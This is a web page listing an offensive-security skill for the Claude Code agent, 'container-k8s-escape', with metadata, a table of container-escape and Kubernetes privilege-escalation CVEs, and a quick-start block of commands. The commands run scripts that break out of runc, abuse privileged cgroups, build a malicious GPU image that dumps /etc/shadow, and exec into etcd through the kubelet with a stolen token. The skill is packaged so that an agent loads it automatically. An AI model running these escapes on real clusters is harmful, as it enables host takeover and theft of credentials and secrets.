Skip to content
Security
Skill

/container-k8s-escape

Use when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot

From plugin
offensive-claude
33837 skills8 agents18 commands1 hook
Install
$ npx -y skills add hypnguyen1209/offensive-claude --skill container-k8s-escape --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/container-k8s-escape

Context preview

The summary Claude sees to decide when to auto-load this skill.

Use when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot

SKILL.md

container-k8s-escape.SKILL.md
name: container-k8s-escape
description: Use when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot
metadata:
  type: offensive
  phase: exploit-install-actions
  tools: kubectl, crictl, runc, deepce, cdk, kube-hunter, peirates, amicontained, trufflehog, falco, kubeletctl, nsenter
  mitre: [T1611, T1610, T1613, T1552.001, T1552.007, T1078.001, T1068, T1496]
kill_chain:
  phase: [exploit, install, actions]
  step: [4, 5, 7]
  attck_tactics: [TA0002, TA0004, TA0005, TA0006, TA0008]
  attck_techniques: [T1611, T1610, T1613, T1609, T1552.001, T1552.007, T1078.001, T1068, T1496, T1610]
depends_on: [recon-osint, cloud-security, vulnerability-analysis]
feeds_into: [cloud-security, red-team-ops, privesc-linux, active-directory-attack]
inputs: [container_context, k8s_service_account, kubeconfig, node_access, registry_push_access]
outputs: [host_root_shell, node_compromise, stolen_sa_tokens, cluster_admin, attack_path, escape_finding]
references:
  - references/runtime-cve-escapes.md
  - references/privileged-misconfig-escape.md
  - references/nvidia-gpu-escape.md
  - references/k8s-rbac-escalation.md
  - references/ingress-admission-attacks.md
  - references/node-host-pivot.md
scripts:
  - scripts/escape_enum.sh
  - scripts/runc_cwd_escape.py
  - scripts/release_agent_escape.sh
  - scripts/nvidiascape_build.sh
  - scripts/k8s_rbac_audit.py
  - scripts/kubelet_exec.py

Container Breakout & Kubernetes Escape

When to Activate

  • You have code execution inside a container/pod and want to break out to the host node
  • Auditing a Kubernetes cluster for RBAC privilege-escalation and lateral-movement paths
  • Assessing runc/containerd/BuildKit/Docker runtime versions against known escape CVEs
  • A pod is privileged, has dangerous capabilities, hostPath/hostPID/hostNetwork, or a mounted docker.sock
  • Attacking GPU/AI workloads using the NVIDIA Container Toolkit
  • Testing ingress-nginx / admission-controller exposure for unauthenticated RCE
  • Post-escape: pivoting from one node to full cluster takeover (kubelet, SA tokens, etcd, cloud IMDS)
  • Building Falco/Sigma detections for container-escape behavior (defensive validation)

Technique Map

| Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | runc working-dir fd leak escape (Leaky Vessels, CVE-2024-21626) | T1611 | CWE-403 | references/runtime-cve-escapes.md | scripts/runc_cwd_escape.py | | runc masked-path / `/dev/null` symlink escape (CVE-2025-31133) | T1611 | CWE-367 | references/runtime-cve-escapes.md | scripts/runc_cwd_escape.py | | runc `/dev/console` bind-mount + LSM bypass (CVE-2025-52565/52881) | T1611 | CWE-363 | references/runtime-cve-escapes.md | scripts/escape_enum.sh | | BuildKit cache/teardown symlink escape (CVE-2024-23651/52/53) | T1611 | CWE-59 | references/runtime-cve-escapes.md | scripts/escape_enum.sh | | Privileged / `CAP_SYS_ADMIN` cgroup `release_agent` escape | T1611 | CWE-269 | references/privileged-misconfig-escape.md | scripts/release_agent_escape.sh | | `core_pattern` host-side code exec on crash | T1611 | CWE-269 | references/privileged-misconfig-escape.md | scripts/release_agent_escape.sh | | `hostPID` + `nsenter` into PID 1 namespace | T1611 | CWE-668 | references/privileged-misconfig-escape.md | scripts/escape_enum.sh | | Mounted `docker.sock` / `containerd.sock` host takeover | T1610 | CWE-668 | references/privileged-misconfig-escape.md | scripts/escape_enum.sh | | `hostPath` `/` mount → write host filesystem | T1611 | CWE-22 | references/privileged-misconfig-escape.md | scripts/escape_enum.sh | | NVIDIAScape `LD_PRELOAD` OCI-hook escape (CVE-2025-23266) | T1611 | CWE-426 | references/nvidia-gpu-escape.md | scripts/nvidiascape_build.sh | | NVIDIA CT TOCTOU mount escape (CVE-2024-0132 / CVE-2025-23359) | T1611 | CWE-367 | references/nvidia-gpu-escape.md | scripts/nvidiascape_build.sh | | K8s RBAC privesc (verb/wildcard/escalate, SA token theft) | T1078.001 | CWE-269 | references/k8s-rbac-escalation.md | scripts/k8s_rbac_audit.py | | `nodes/proxy` GET → kubelet WebSocket exec RCE | T1609 | CWE-863 | references/k8s-rbac-escalation.md | scripts/kubelet_exec.py | | Anonymous/authed kubelet API exec on :10250 | T1609 | CWE-306 | references/k8s-rbac-escalation.md | scripts/kubelet_exec.py | | IngressNightmare unauth RCE (CVE-2025-1974 + annotation chain) | T1190 | CWE-94 | references/ingress-admission-attacks.md | scripts/escape_enum.sh | | Node → cluster pivot (etcd, IMDS, SA-token harvest) | T1613 | CWE-552 | references/node-host-pivot.md | scripts/escape_enum.sh |

Quick Start

# 0. Enumerate the container/pod context: caps, mounts, sockets, runtime versions, K8s creds
bash scripts/escape_enum.sh                 # run INSIDE the target container

# 1. Runtime-CVE path: detect vulnerable runc/BuildKit and run the cwd-fd escape (CVE-2024-21626)
python3 scripts/runc_cwd_escape.py --probe                       # try fd 7,8,9 -> host /
python3 scripts/runc_cwd_escape.py --cmd 'id; cat /etc/shadow'   # via docker -w or k8s revshell

# 2. Misconfig path: privileged / CAP_SYS_ADMIN -> cgroup release_agent host code exec
bash scripts/release_agent_escape.sh -c 'id > /tmp/escape_out'   # reads host PID list / runs cmd

# 3. GPU path: build a malicious image for NVIDIAScape (CVE-2025-23266)
bash scripts/nvidiascape_build.sh --cmd 'id; cat /etc/shadow' --tag evil-gpu:latest

# 4. K8s RBAC: audit who can escalate / reach the kubelet (needs a kubeconfig or in-pod SA token)
python3 scripts/k8s_rbac_audit.py --kubeconfig ~/.kube/config --dangerous

# 5. nodes/proxy or open kubelet -> exec into any pod on the node
python3 scripts/kubelet_exec.py --node 10.0.0.5 --pod kube-system/etcd-master \
        --container etcd --cmd 'cat /var/lib/etcd/...' --token "$SA_TOKEN"

Recommended

Read more
Ships withoffensive-claude

A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline

Get the whole plugin

Other skills on offensive-claude.